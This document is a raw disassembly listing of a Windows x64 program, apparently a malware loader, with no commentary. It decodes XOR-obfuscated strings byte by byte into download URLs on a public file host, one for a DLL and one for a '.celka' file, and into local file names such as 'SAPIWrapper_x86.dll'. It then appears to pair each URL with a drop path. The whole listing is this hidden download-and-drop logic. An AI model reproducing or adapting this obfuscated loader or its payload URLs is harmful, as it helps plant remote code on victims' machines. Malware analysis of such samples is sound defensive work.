movdqa xmm2, xmmword [0x14004a270]
movdqu xmmword [rbp + 0x248], xmm2
mov dl, 0xa
mov r8b, 0x47
mov r9b, 0x42
mov r10b, 0x43
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x239], al
xor byte [rbp + 0x23a], cl
xor byte [rbp + 0x23b], cl
xor byte [rbp + 0x23c], cl
xor byte [rbp + 0x23d], cl
xor byte [rbp + 0x23e], cl
xor byte [rbp + 0x23f], cl
xor byte [rbp + 0x240], cl
xor byte [rbp + 0x241], cl
xor byte [rbp + 0x242], cl
xor byte [rbp + 0x243], cl
xor byte [rbp + 0x244], cl
xor byte [rbp + 0x245], cl
xor byte [rbp + 0x246], cl
xor byte [rbp + 0x247], cl
movd eax, xmm2
xor al, cl
mov byte [rbp + 0x248], al
xor byte [rbp + 0x249], cl
xor byte [rbp + 0x24a], cl
xor byte [rbp + 0x24b], cl
xor byte [rbp + 0x24c], cl
xor byte [rbp + 0x24d], cl
xor byte [rbp + 0x24e], cl
xor byte [rbp + 0x24f], cl
xor byte [rbp + 0x250], cl
xor byte [rbp + 0x251], cl
xor byte [rbp + 0x252], cl
xor byte [rbp + 0x253], cl
xor byte [rbp + 0x254], cl
xor byte [rbp + 0x255], cl
xor byte [rbp + 0x256], cl
xor byte [rbp + 0x257], cl
xor dl, cl
mov byte [rbp + 0x258], dl
xor r8b, cl
mov byte [rbp + 0x259], r8b
xor r9b, cl
mov byte [rbp + 0x25a], r9b
xor r10b, cl
mov byte [rbp + 0x25b], r10b
mov byte [rbp + 0x25c], dil
mov byte [rbp + 0x418], 0x4b
mov al, 0x17
mov cl, 0x21
mov dl, 0x3d
mov r8b, 0x26
mov r9b, 0x65
mov r10b, 0x28
mov r11b, 0x2d
mov bl, 0x2c
xor al, 0x4b
mov byte [rbp + 0x419], al
xor cl, 0x4b
mov byte [rbp + 0x41a], cl
xor dl, 0x4b
mov byte [rbp + 0x41b], dl
xor r8b, 0x4b
mov byte [rbp + 0x41c], r8b
xor r9b, 0x4b
mov byte [rbp + 0x41d], r9b
xor r10b, 0x4b
mov byte [rbp + 0x41e], r10b
xor r11b, 0x4b
mov byte [rbp + 0x41f], r11b
xor bl, 0x4b
mov byte [rbp + 0x420], bl
mov byte [rbp + 0x421], dil
lea r8, [rbp + 0x419]
lea rdx, [rbp + 0xba8]
lea rcx, [rbp + 0x670]
call fcn.1400102a0
mov rbx, rax
lea rdx, [rbp + 0x239]
lea rcx, [rbp + 0x9c0]
call fcn.140001ad0
mov rdx, rbx
lea rcx, [rbp + 0x9e0]
call fcn.140001aa0
nop
movdqa xmm1, xmmword [0x14004a230]
movdqu xmmword [rbp + 0x350], xmm1
movdqa xmm2, xmmword [0x14004a310]
movdqu xmmword [rbp + 0x360], xmm2
mov dl, 0x73
mov r8b, 0x37
mov r9b, 0x3b
mov r10b, 0x3e
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x351], al
xor byte [rbp + 0x352], cl
xor byte [rbp + 0x353], cl
xor byte [rbp + 0x354], cl
xor byte [rbp + 0x355], cl
xor byte [rbp + 0x356], cl
xor byte [rbp + 0x357], cl
xor byte [rbp + 0x358], cl
xor byte [rbp + 0x359], cl
xor byte [rbp + 0x35a], cl
xor byte [rbp + 0x35b], cl
xor byte [rbp + 0x35c], cl
xor byte [rbp + 0x35d], cl
xor byte [rbp + 0x35e], cl
xor byte [rbp + 0x35f], cl
movd eax, xmm2
xor al, cl
mov byte [rbp + 0x360], al
xor byte [rbp + 0x361], cl
xor byte [rbp + 0x362], cl
xor byte [rbp + 0x363], cl
xor byte [rbp + 0x364], cl
xor byte [rbp + 0x365], cl
xor byte [rbp + 0x366], cl
xor byte [rbp + 0x367], cl
xor byte [rbp + 0x368], cl
xor byte [rbp + 0x369], cl
xor byte [rbp + 0x36a], cl
xor byte [rbp + 0x36b], cl
xor byte [rbp + 0x36c], cl
xor byte [rbp + 0x36d], cl
xor byte [rbp + 0x36e], cl
xor byte [rbp + 0x36f], cl
xor dl, cl
mov byte [rbp + 0x370], dl
xor r8b, cl
mov byte [rbp + 0x371], r8b
xor r9b, cl
mov byte [rbp + 0x372], r9b
xor r10b, cl
mov byte [rbp + 0x373], r10b
mov byte [rbp + 0x374], dil
mov byte [rbp + 0x488], 0x1c
mov al, 0x40
mov cl, 0x78
mov dl, 0x79
mov r8b, 0x7a
mov r9b, 0x7d
mov r10b, 0x69
mov r11b, 0x70
mov bl, 0x68
mov dil, 0x32
mov sil, 0x76
movzx r14d, r8b
mov r15b, 0x7f
xor r12d, r12d
xor al, 0x1c
mov byte [rbp + 0x489], al
xor cl, 0x1c
mov byte [rbp + 0x48a], cl
xor dl, 0x1c
mov byte [rbp + 0x48b], dl
xor r8b, 0x1c
mov byte [rbp + 0x48c], r8b
xor r9b, 0x1c
mov byte [rbp + 0x48d], r9b
xor r10b, 0x1c
mov byte [rbp + 0x48e], r10b
xor r11b, 0x1c
mov byte [rbp + 0x48f], r11b
xor bl, 0x1c
mov byte [rbp + 0x490], bl
xor dil, 0x1c
mov byte [rbp + 0x491], dil
xor sil, 0x1c
mov byte [rbp + 0x492], sil
xor r14b, 0x1c
mov byte [rbp + 0x493], r14b
xor r15b, 0x1c
mov byte [rbp + 0x494], r15b
mov byte [rbp + 0x495], r12b
lea r8, [rbp + 0x489]
lea rdx, [rbp + 0xc90]
lea rcx, [rbp + 0x650]
call fcn.1400102a0
mov rbx, rax
lea rdx, [rbp + 0x351]
lea rcx, [rbp + 0xa00]
call fcn.140001ad0
mov rdx, rbx
lea rcx, [rbp + 0xa20]
call fcn.140001aa0
nop
movdqa xmm1, xmmword [0x14004a190]
movdqu xmmword [rbp + 0x2d8], xmm1
movdqa xmm2, xmmword [0x14004a240]
movdqu xmmword [rbp + 0x2e8], xmm2
mov dl, 0x5a
mov r8b, 0x1e
mov r9b, 0x12
mov r10b, 0x17
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x2d9], al
xor byte [rbp + 0x2da], cl
xor byte [rbp + 0x2db], cl
xor byte [rbp + 0x2dc], cl
xor byte [rbp + 0x2dd], cl
xor byte [rbp + 0x2de], cl
xor byte [rbp + 0x2df], cl
xor byte [rbp + 0x2e0], cl
xor byte [rbp + 0x2e1], cl
xor byte [rbp + 0x2e2], cl
xor byte [rbp + 0x2e3], cl
xor byte [rbp + 0x2e4], cl
xor byte [rbp + 0x2e5], cl
xor byte [rbp + 0x2e6], cl
xor byte [rbp + 0x2e7], cl
movd eax, xmm2
xor al, cl
mov byte [rbp + 0x2e8], al
xor byte [rbp + 0x2e9], cl
xor byte [rbp + 0x2ea], cl
xor byte [rbp + 0x2eb], cl
xor byte [rbp + 0x2ec], cl
xor byte [rbp + 0x2ed], cl
xor byte [rbp + 0x2ee], cl
xor byte [rbp + 0x2ef], cl
xor byte [rbp + 0x2f0], cl
xor byte [rbp + 0x2f1], cl
xor byte [rbp + 0x2f2], cl
xor byte [rbp + 0x2f3], cl
xor byte [rbp + 0x2f4], cl
xor byte [rbp + 0x2f5], cl
xor byte [rbp + 0x2f6], cl
xor byte [rbp + 0x2f7], cl
xor dl, cl
mov byte [rbp + 0x2f8], dl
xor r8b, cl
mov byte [rbp + 0x2f9], r8b
xor r9b, cl
mov byte [rbp + 0x2fa], r9b
xor r10b, cl
mov byte [rbp + 0x2fb], r10b
mov byte [rbp + 0x2fc], r12b
mov byte [rbp + 0x498], 0x77
mov al, 0x2b
mov cl, 7
mov dl, 5
mov r8b, 0x18
mov r9b, 0x11
mov r10b, 0x1e
mov r11b, 0x1b
mov bl, 0x12
mov dil, 0x59
mov sil, 0x1d
movzx r14d, r9b
mov r15b, 0x14
xor al, 0x77
mov byte [rbp + 0x499], al
xor cl, 0x77
mov byte [rbp + 0x49a], cl
xor dl, 0x77
mov byte [rbp + 0x49b], dl
xor r8b, 0x77
mov byte [rbp + 0x49c], r8b
xor r9b, 0x77
mov byte [rbp + 0x49d], r9b
xor r10b, 0x77
mov byte [rbp + 0x49e], r10b
xor r11b, 0x77
mov byte [rbp + 0x49f], r11b
xor bl, 0x77
mov byte [rbp + 0x4a0], bl
xor dil, 0x77
mov byte [rbp + 0x4a1], dil
xor sil, 0x77
mov byte [rbp + 0x4a2], sil
xor r14b, 0x77
mov byte [rbp + 0x4a3], r14b
xor r15b, 0x77
mov byte [rbp + 0x4a4], r15b
mov byte [rbp + 0x4a5], r12b
lea r8, [rbp + 0x499]
lea rdx, [rbp + 0xc90]
lea rcx, [rbp + 0x630]
call fcn.1400102a0
mov rbx, rax
lea rdx, [rbp + 0x2d9]
lea rcx, [rbp + 0xa40]
call fcn.140001ad0
mov rdx, rbx
lea rcx, [rbp + 0xa60]
call fcn.140001aa0
nop
movdqa xmm1, xmmword [0x14004a220]
movdqu xmmword [rbp + 0x1d8], xmm1
movdqa xmm2, xmmword [0x14004a1e0]
movdqu xmmword [rbp + 0x1e8], xmm2
mov dl, 0x77
mov r8b, 0x2f
mov r9b, 0x3a
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x1d9], al
xor byte [rbp + 0x1da], cl
xor byte [rbp + 0x1db], cl
xor byte [rbp + 0x1dc], cl
xor byte [rbp + 0x1dd], cl
xor byte [rbp + 0x1de], cl
xor byte [rbp + 0x1df], cl
xor byte [rbp + 0x1e0], cl
xor byte [rbp + 0x1e1], cl
xor byte [rbp + 0x1e2], cl
xor byte [rbp + 0x1e3], cl
xor byte [rbp + 0x1e4], cl
xor byte [rbp + 0x1e5], cl
xor byte [rbp + 0x1e6], cl
xor byte [rbp + 0x1e7], cl
movd eax, xmm2
xor al, cl
mov byte [rbp + 0x1e8], al
xor byte [rbp + 0x1e9], cl
xor byte [rbp + 0x1ea], cl
xor byte [rbp + 0x1eb], cl
xor byte [rbp + 0x1ec], cl
xor byte [rbp + 0x1ed], cl
xor byte [rbp + 0x1ee], cl
xor byte [rbp + 0x1ef], cl
xor byte [rbp + 0x1f0], cl
xor byte [rbp + 0x1f1], cl
xor byte [rbp + 0x1f2], cl
xor byte [rbp + 0x1f3], cl
xor byte [rbp + 0x1f4], cl
xor byte [rbp + 0x1f5], cl
xor byte [rbp + 0x1f6], cl
xor byte [rbp + 0x1f7], cl
xor dl, cl
mov byte [rbp + 0x1f8], dl
xor r8b, cl
mov byte [rbp + 0x1f9], r8b
xor r9b, cl
mov byte [rbp + 0x1fa], r9b
mov byte [rbp + 0x1fb], r12b
mov byte [rbp + 0x448], 0x30
mov al, 0x6c
mov cl, 0x43
mov dl, 0x44
mov r8b, 0x51
mov r9b, 0x42
movzx r10d, dl
mov r11b, 0x1e
mov bl, 0x46
mov dil, 0x53
xor esi, esi
xor al, 0x30
mov byte [rbp + 0x449], al
xor cl, 0x30
mov byte [rbp + 0x44a], cl
xor dl, 0x30
mov byte [rbp + 0x44b], dl
xor r8b, 0x30
mov byte [rbp + 0x44c], r8b
xor r9b, 0x30
mov byte [rbp + 0x44d], r9b
xor r10b, 0x30
mov byte [rbp + 0x44e], r10b
xor r11b, 0x30
mov byte [rbp + 0x44f], r11b
xor bl, 0x30
mov byte [rbp + 0x450], bl
xor dil, 0x30
mov byte [rbp + 0x451], dil
mov byte [rbp + 0x452], sil
lea r8, [rbp + 0x449]
lea rdx, [rbp + 0xba8]
lea rcx, [rbp + 0x610]
call fcn.1400102a0
mov rbx, rax
lea rdx, [rbp + 0x1d9]
lea rcx, [rbp + 0xa80]
call fcn.140001ad0
mov rdx, rbx
lea rcx, [rbp + 0xaa0]
call fcn.140001aa0
nop
movdqa xmm1, xmmword [0x14004a1d0]
movdqu xmmword [rbp + 0x300], xmm1
movdqa xmm2, xmmword [0x14004a340]
movdqu xmmword [rbp + 0x310], xmm2
mov dl, 0x6a
mov r8b, 0x20
mov r9b, 0x28
movzx r10d, r9b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x301], al
xor byte [rbp + 0x302], cl
xor byte [rbp + 0x303], cl
xor byte [rbp + 0x304], cl
xor byte [rbp + 0x305], cl
xor byte [rbp + 0x306], cl
xor byte [rbp + 0x307], cl
xor byte [rbp + 0x308], cl
xor byte [rbp + 0x309], cl
xor byte [rbp + 0x30a], cl
xor byte [rbp + 0x30b], cl
xor byte [rbp + 0x30c], cl
xor byte [rbp + 0x30d], cl
xor byte [rbp + 0x30e], cl
xor byte [rbp + 0x30f], cl
movd eax, xmm2
xor al, cl
mov byte [rbp + 0x310], al
xor byte [rbp + 0x311], cl
xor byte [rbp + 0x312], cl
xor byte [rbp + 0x313], cl
xor byte [rbp + 0x314], cl
xor byte [rbp + 0x315], cl
xor byte [rbp + 0x316], cl
xor byte [rbp + 0x317], cl
xor byte [rbp + 0x318], cl
xor byte [rbp + 0x319], cl
xor byte [rbp + 0x31a], cl
xor byte [rbp + 0x31b], cl
xor byte [rbp + 0x31c], cl
xor byte [rbp + 0x31d], cl
xor byte [rbp + 0x31e], cl
xor byte [rbp + 0x31f], cl
xor dl, cl
mov byte [rbp + 0x320], dl
xor r8b, cl
mov byte [rbp + 0x321], r8b
xor r9b, cl
mov byte [rbp + 0x322], r9b
xor r10b, cl
mov byte [rbp + 0x323], r10b
mov byte [rbp + 0x324], sil
lea rax, [rbp + 0x301]
mov qword [rbp + 0x4e0], rax
movdqa xmm0, xmmword [0x14004a2c0]
movdqu xmmword [rbp + 0x4c0], xmm0
mov word [rbp + 0x4d0], 0x7862
mov byte [rbp + 0x4d2], 0x32
mov dl, 0x6c
lea rcx, [rbp + 0x4c0]
call fcn.14000b4d0
mov byte [rbp + 0x4d3], al
mov dl, 0x6c
lea rcx, [rbp + 0x4c0]
call fcn.14000b4d0
mov byte [rbp + 0x4d4], al
xor eax, eax
mov byte [rbp + 0x4d5], al
mov edi, r13d
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x4c1]
call fcn.14000b630
movzx edx, byte [rax]
lea rcx, [rbp + 0x4c0]
call fcn.14000b4d0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x4c1]
call fcn.14000b630
mov byte [rax], bl
inc rdi
cmp rdi, 0x14
jb 0x140009e30
mov edx, 0x14
lea rcx, [rbp + 0x4c1]
call fcn.14000b630
mov byte [rax], r13b
lea rcx, [rbp + 0x4c1]
call fcn.14000b620
mov r8, rax
lea rdx, [rbp + 0xc70]
lea rcx, [rbp + 0x5f0]
call fcn.1400102a0
nop
mov r8, rax
lea rdx, [rbp + 0x4e0]
lea rcx, [rbp + 0xac0]
call fcn.140010420
nop
mov byte [rbp - 0x18], 0x49
mov dl, 0x68
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp - 0x17], al
mov dl, 0x74
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp - 0x16], al
mov dl, 0x74
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp - 0x15], al
mov dl, 0x70
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp - 0x14], al
mov dl, 0x73
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp - 0x13], al
mov dl, 0x3a
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp - 0x12], al
mov dl, 0x2f
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp - 0x11], al
mov dl, 0x2f
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp - 0x10], al
mov dl, 0x66
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp - 0xf], al
mov dl, 0x69
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp - 0xe], al
mov dl, 0x6c
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp - 0xd], al
mov dl, 0x65
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp - 0xc], al
mov dl, 0x73
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp - 0xb], al
mov dl, 0x2e
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp - 0xa], al
mov dl, 0x63
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp - 9], al
mov dl, 0x61
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp - 8], al
mov dl, 0x74
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp - 7], al
mov dl, 0x62
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp - 6], al
mov dl, 0x6f
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp - 5], al
mov dl, 0x78
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp - 4], al
mov dl, 0x2e
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp - 3], al
mov dl, 0x6d
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp - 2], al
mov dl, 0x6f
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp - 1], al
mov dl, 0x65
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp], al
mov dl, 0x2f
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp + 1], al
mov dl, 0x6e
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp + 2], al
mov dl, 0x62
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp + 3], al
mov dl, 0x74
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp + 4], al
mov dl, 0x65
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp + 5], al
mov dl, 0x6b
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp + 6], al
mov dl, 0x64
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp + 7], al
mov dl, 0x2e
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp + 8], al
mov dl, 0x64
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp + 9], al
mov dl, 0x6c
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp + 0xa], al
mov dl, 0x6c
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
mov byte [rbp + 0xb], al
xor eax, eax
mov byte [rbp + 0xc], al
mov rdi, r13
nop
mov rdx, rdi
lea rcx, [rbp - 0x17]
call fcn.14000b630
movzx edx, byte [rax]
lea rcx, [rbp - 0x18]
call fcn.14000b4d0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp - 0x17]
call fcn.14000b630
mov byte [rax], bl
inc rdi
cmp rdi, 0x23
jb 0x14000a0b0
mov edx, 0x23
lea rcx, [rbp - 0x17]
call fcn.14000b630
mov byte [rax], 0
lea rcx, [rbp - 0x17]
call fcn.14000b620
mov qword [rbp + 0x4f0], rax
mov byte [rbp - 0x30], 0x32
mov dl, 0x5c
lea rcx, [rbp - 0x30]
call fcn.14000b4d0
mov byte [rbp - 0x2f], al
mov dl, 0x53
lea rcx, [rbp - 0x30]
call fcn.14000b4d0
mov byte [rbp - 0x2e], al
mov dl, 0x41
lea rcx, [rbp - 0x30]
call fcn.14000b4d0
mov byte [rbp - 0x2d], al
mov dl, 0x50
lea rcx, [rbp - 0x30]
call fcn.14000b4d0
mov byte [rbp - 0x2c], al
mov dl, 0x49
lea rcx, [rbp - 0x30]
call fcn.14000b4d0
mov byte [rbp - 0x2b], al
mov dl, 0x57
lea rcx, [rbp - 0x30]
call fcn.14000b4d0
mov byte [rbp - 0x2a], al
mov dl, 0x72
lea rcx, [rbp - 0x30]
call fcn.14000b4d0
mov byte [rbp - 0x29], al
mov dl, 0x61
lea rcx, [rbp - 0x30]
call fcn.14000b4d0
mov byte [rbp - 0x28], al
mov dl, 0x70
lea rcx, [rbp - 0x30]
call fcn.14000b4d0
mov byte [rbp - 0x27], al
mov dl, 0x70
lea rcx, [rbp - 0x30]
call fcn.14000b4d0
mov byte [rbp - 0x26], al
mov dl, 0x65
lea rcx, [rbp - 0x30]
call fcn.14000b4d0
mov byte [rbp - 0x25], al
mov dl, 0x72
lea rcx, [rbp - 0x30]
call fcn.14000b4d0
mov byte [rbp - 0x24], al
mov dl, 0x5f
lea rcx, [rbp - 0x30]
call fcn.14000b4d0
mov byte [rbp - 0x23], al
mov dl, 0x78
lea rcx, [rbp - 0x30]
call fcn.14000b4d0
mov byte [rbp - 0x22], al
mov dl, 0x38
lea rcx, [rbp - 0x30]
call fcn.14000b4d0
mov byte [rbp - 0x21], al
mov dl, 0x36
lea rcx, [rbp - 0x30]
call fcn.14000b4d0
mov byte [rbp - 0x20], al
mov dl, 0x2e
lea rcx, [rbp - 0x30]
call fcn.14000b4d0
mov byte [rbp - 0x1f], al
mov dl, 0x64
lea rcx, [rbp - 0x30]
call fcn.14000b4d0
mov byte [rbp - 0x1e], al
mov dl, 0x6c
lea rcx, [rbp - 0x30]
call fcn.14000b4d0
mov byte [rbp - 0x1d], al
mov dl, 0x6c
lea rcx, [rbp - 0x30]
call fcn.14000b4d0
mov byte [rbp - 0x1c], al
xor eax, eax
mov byte [rbp - 0x1b], al
mov rdi, r13
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp - 0x2f]
call fcn.14000b630
movzx edx, byte [rax]
lea rcx, [rbp - 0x30]
call fcn.14000b4d0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp - 0x2f]
call fcn.14000b630
mov byte [rax], bl
inc rdi
cmp rdi, 0x14
jb 0x14000a230
mov edx, 0x14
lea rcx, [rbp - 0x2f]
call fcn.14000b630
mov byte [rax], 0
lea rcx, [rbp - 0x2f]
call fcn.14000b620
mov r8, rax
lea rdx, [rbp + 0xc70]
lea rcx, [rbp + 0x5d0]
call fcn.1400102a0
nop
mov r8, rax
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp + 0xb00]
call fcn.140010420
nop
mov byte [rbp + 0x60], 0x57
mov dl, 0x68
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x61], al
mov dl, 0x74
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x62], al
mov dl, 0x74
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x63], al
mov dl, 0x70
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x64], al
mov dl, 0x73
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x65], al
mov dl, 0x3a
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x66], al
mov dl, 0x2f
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x67], al
mov dl, 0x2f
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x68], al
mov dl, 0x66
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x69], al
mov dl, 0x69
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x6a], al
mov dl, 0x6c
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x6b], al
mov dl, 0x65
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x6c], al
mov dl, 0x73
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x6d], al
mov dl, 0x2e
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x6e], al
mov dl, 0x63
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x6f], al
mov dl, 0x61
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x70], al
mov dl, 0x74
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x71], al
mov dl, 0x62
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x72], al
mov dl, 0x6f
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x73], al
mov dl, 0x78
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x74], al
mov dl, 0x2e
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x75], al
mov dl, 0x6d
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x76], al
mov dl, 0x6f
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x77], al
mov dl, 0x65
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x78], al
mov dl, 0x2f
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x79], al
mov dl, 0x64
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x7a], al
mov dl, 0x61
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x7b], al
mov dl, 0x39
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x7c], al
mov dl, 0x30
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x7d], al
mov dl, 0x64
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x7e], al
mov dl, 0x6f
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x7f], al
mov dl, 0x2e
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x80], al
mov dl, 0x63
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x81], al
mov dl, 0x65
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x82], al
mov dl, 0x6c
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x83], al
mov dl, 0x6b
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x84], al
mov dl, 0x61
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
mov byte [rbp + 0x85], al
xor eax, eax
mov byte [rbp + 0x86], al
mov rdi, r13
mov rdx, rdi
lea rcx, [rbp + 0x61]
call fcn.14000b630
movzx edx, byte [rax]
lea rcx, [rbp + 0x60]
call fcn.14000b4d0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x61]
call fcn.14000b630
mov byte [rax], bl
inc rdi
cmp rdi, 0x25
jb 0x14000a4d1
mov edx, 0x25
lea rcx, [rbp + 0x61]
call fcn.14000b630
mov byte [rax], 0
lea rcx, [rbp + 0x61]
call fcn.14000b620
mov qword [rbp + 0x4e8], rax
mov byte [rbp - 0x68], 0x5c
mov dl, 0x5c
lea rcx, [rbp - 0x68]
call fcn.14000b4d0
mov byte [rbp - 0x67], al
mov dl, 0x61
lea rcx, [rbp - 0x68]
call fcn.14000b4d0
mov byte [rbp - 0x66], al
mov dl, 0x75
lea rcx, [rbp - 0x68]
call fcn.14000b4d0
mov byte [rbp - 0x65], al
mov dl, 0x74
lea rcx, [rbp - 0x68]
call fcn.14000b4d0
mov byte [rbp - 0x64], al
mov dl, 0x6f
lea rcx, [rbp - 0x68]
call fcn.14000b4d0
mov byte [rbp - 0x63], al
mov dl, 0x63
lea rcx, [rbp - 0x68]
call fcn.14000b4d0
mov byte [rbp - 0x62], al
mov dl, 0x66
lea rcx, [rbp - 0x68]
call fcn.14000b4d0
mov byte [rbp - 0x61], al
mov dl, 0x67
lea rcx, [rbp - 0x68]
call fcn.14000b4d0
mov byte [rbp - 0x60], al
mov dl, 0x2e
lea rcx, [rbp - 0x68]
call fcn.14000b4d0
mov byte [rbp - 0x5f], al
mov dl, 0x63
lea rcx, [rbp - 0x68]
call fcn.14000b4d0
mov byte [rbp - 0x5e], al
mov dl, 0x65
lea rcx, [rbp - 0x68]
call fcn.14000b4d0
mov byte [rbp - 0x5d], al
mov dl, 0x6c
lea rcx, [rbp - 0x68]
call fcn.14000b4d0
mov byte [rbp - 0x5c], al
mov dl, 0x6b
lea rcx, [rbp - 0x68]
call fcn.14000b4d0
mov byte [rbp - 0x5b], al
mov dl, 0x61
lea rcx, [rbp - 0x68]
call fcn.14000b4d0
mov byte [rbp - 0x5a], al
xor eax, eax
mov byte [rbp - 0x59], al
mov rdi, r13
mov rdx, rdi
lea rcx, [rbp - 0x67]
call fcn.14000b630
movzx edx, byte [rax]
lea rcx, [rbp - 0x68]
call fcn.14000b4d0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp - 0x67]
call fcn.14000b630
mov byte [rax], bl
inc rdi
cmp rdi, 0xe
jb 0x14000a5f4
mov edx, 0xe
lea rcx, [rbp - 0x67]
call fcn.14000b630
mov byte [rax], 0
lea rcx, [rbp - 0x67]
call fcn.14000b620
mov r8, rax
lea rdx, [rbp + 0xc50]
lea rcx, [rbp + 0x5b0]
call fcn.1400102a0
nop
mov r8, rax
lea rdx, [rbp + 0x4e8]
lea rcx, [rbp + 0xb40]
call fcn.140010420
nop
lea r8, [rbp + 0xb80]
lea rdx, [rbp + 0x880]
lea rcx, [rbp + 0x770]
call fcn.14000b610
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x540], xmm0
mov r8, qword [rbp + 0x4b8]
lea rdx, [rbp + 0x540]
lea rcx, [rbp + 0xb88]
call fcn.14000b650
nop
lea r9, [fcn.14000b550]
mov edx, 0x40
lea r8d, [rdx - 0x34]
